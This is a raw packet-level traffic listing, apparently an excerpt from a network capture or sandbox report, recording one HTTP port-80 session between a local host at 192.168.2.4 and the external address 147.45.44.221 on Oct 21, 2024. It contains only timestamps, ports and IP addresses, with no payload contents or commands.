Oct 21, 2024 08:47:30.111664057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111669064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111701012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111701965 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111711979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111726999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111731052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111742020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111752987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111764908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111774921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111785889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111788034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111798048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111804962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111815929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111825943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111825943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111850977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111851931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111861944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111865997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111867905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111874104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111891031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111900091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111907959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111912966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111934900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111954927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111964941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112003088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112063885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112075090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112092018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112102985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112108946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112123966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112132072 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112135887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112154007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112166882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112188101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112205029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112215996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112226009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112232924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112240076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112247944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112253904 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112292051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112385988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112396955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112407923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112416983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112427950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112433910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112447977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112459898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112468004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112468004 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112498999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112525940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112569094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112593889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112641096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112669945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112680912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112720013 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112824917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112843990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112854004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.112865925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.112881899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113055944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113073111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113081932 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113099098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113107920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113110065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113121986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113122940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113135099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113145113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113152981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113157034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113174915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113176107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113185883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113190889 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113198996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113214016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113223076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113234043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113241911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113245010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113256931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113267899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113267899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113281012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113282919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113295078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113305092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113307953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113316059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113327026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113328934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113342047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113348961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113352060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113367081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113388062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.113398075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.113430977 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.213179111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213187933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213193893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213198900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213210106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213218927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213222980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213227987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213232994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213237047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213242054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213247061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213315010 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213334084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213346004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213356018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213367939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.213594913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.213644028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.228992939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229002953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229022026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229032040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229039907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229051113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229059935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229072094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229082108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229094028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229103088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229161978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229559898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229609966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229614973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229624987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229629993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229665995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229768991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229779959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229790926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229816914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229825974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229863882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229863882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229887009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229897022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229921103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229932070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229942083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229955912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229968071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.229979992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.229984045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230037928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230061054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230070114 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230079889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230129957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230129957 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230163097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230174065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230182886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230194092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230211020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230211020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230238914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230251074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230828047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230880022 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230901957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230912924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230922937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230932951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230952024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230963945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230974913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230983973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.230988979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.230997086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231000900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231018066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231018066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231029034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231038094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231045008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231049061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231060982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231061935 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231070995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231086969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231096983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231142998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231162071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231173038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231183052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231193066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231204987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231220007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231223106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231231928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231236935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231246948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231250048 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231254101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231260061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231276989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231287003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231287956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231287956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231303930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231316090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231317043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231327057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231327057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231363058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231378078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231389046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231399059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231408119 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231431961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231434107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231443882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231453896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231457949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231481075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231512070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231542110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231615067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231642008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231652021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231657982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231667042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231678009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231688023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231694937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231729984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231729984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231745005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231756926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231762886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231777906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231787920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231798887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231801987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231827974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231838942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.231940031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231950998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231956005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.231997013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232001066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232008934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232019901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232031107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232042074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232042074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232059956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232083082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232088089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232112885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232124090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232131958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232160091 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232222080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232234001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232243061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232251883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232263088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232271910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232285023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232304096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232362986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232374907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232378960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232383013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232420921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232433081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232433081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232445002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232462883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232479095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232486963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232490063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232501030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232521057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232547998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232650995 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232661009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232666016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232705116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232705116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232717991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232727051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232748985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232759953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232768059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232772112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232783079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232794046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232809067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232834101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.232942104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232954025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232963085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.232988119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.233002901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.278894901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.278903961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.278909922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.279294014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332662106 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332715988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.332751989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.332762957 CEST	80	49732	147.45.44.221	192.168.2.4
